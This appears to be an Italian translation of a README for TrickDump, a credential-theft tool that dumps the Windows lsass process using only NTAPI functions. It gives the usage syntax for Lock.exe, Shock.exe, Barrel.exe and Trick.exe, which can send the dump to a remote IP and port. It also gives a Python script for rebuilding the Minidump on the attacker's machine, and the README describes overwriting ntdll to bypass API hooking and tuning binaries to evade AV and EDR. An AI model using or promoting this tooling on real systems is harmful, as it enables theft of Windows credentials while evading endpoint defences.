
Estrai lsass utilizzando solo funzioni NTAPI creando 3 file JSON e 1 file ZIP... e genera il file MiniDump in seguito!
TrickDump esegue il dump del processo lsass senza creare un file Minidump, generando invece 3 file JSON e 1 file ZIP con i dump delle regioni di memoria. In tre passaggi:
Lock: Ottiene informazioni sul sistema operativo usando RtlGetVersion.
Shock: Ottiene il privilegio SeDebugPrivilege con NtOpenProcessToken e NtAdjustPrivilegeToken, apre un handle con NtGetNextProcess e NtQueryInformationProcess e poi ottiene informazioni sui moduli usando NtQueryInformationProcess e NtReadVirtualMemory.
Barrel: Ottiene il privilegio SeDebugPrivilege, apre un handle e poi ottiene informazioni e dump delle regioni di memoria usando NtQueryVirtualMemory e NtReadVirtualMemory.

Nel sistema attaccante, usa lo script create_dump.py per generare il file Minidump:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
I vantaggi di questa tecnica sono:
Non esiste mai un file Minidump valido su disco, in memoria o nel traffico di rete.
Non c'è un singolo programma o processo che esegue l'intero attacco, ma tre separati, il che può sollevare meno sospetti.
I programmi usano solo NTAPIS (questo progetto è una variante di NativeDump).
Non utilizza OpenProcess o NtOpenProcess per ottenere l'handle del processo lsass con i diritti di accesso PROCESS_VM_OPERATION e PROCESS_VM_WRITE.
Ogni programma permette di sovrascrivere la sezione ".text" della libreria ntdll.dll per bypassare l'hooking delle API:
È disponibile in diversi linguaggi:
Non funzionerà se PPL è abilitato, la struttura PEB è illeggibile o i binari non sono compilati come 64-bit. Aggiornamento: Ora è possibile eseguire i programmi senza leggere il PEB, controlla il branch peb-unreadable :)
La tecnica funziona bene sulle ultime versioni di Windows ed è stata testata contro comuni soluzioni AV ed EDR, ma la furtività dipenderà dal "flavour" scelto: utilizza linguaggi non comuni e personalizza i binari per i migliori risultati!
I programmi vengono eseguiti nel sistema vittima, creando tre file JSON (con le informazioni delle regioni di memoria) e un file zip (con il dump di ogni regione di memoria).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
Puoi eseguire i programmi direttamente senza sovrascrivere la libreria ntdll.dll:

Oppure utilizzare una delle tre diverse tecniche di sovrascrittura:

Quindi viene generato il file Minidump:

Se preferisci eseguire un solo binario, Trick.exe genera un file ZIP contenente i 3 file JSON e il file ZIP con le regioni di memoria:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
Puoi creare il file ZIP localmente, usando opzionalmente un metodo di sovrascrittura di Ntdll:

Oppure inviarlo a una porta remota utilizzando il secondo e terzo parametro come indirizzo IP e porta:

In entrambi i casi ottieni un file ZIP come questo, decomprimilo e crea il file Minidump:
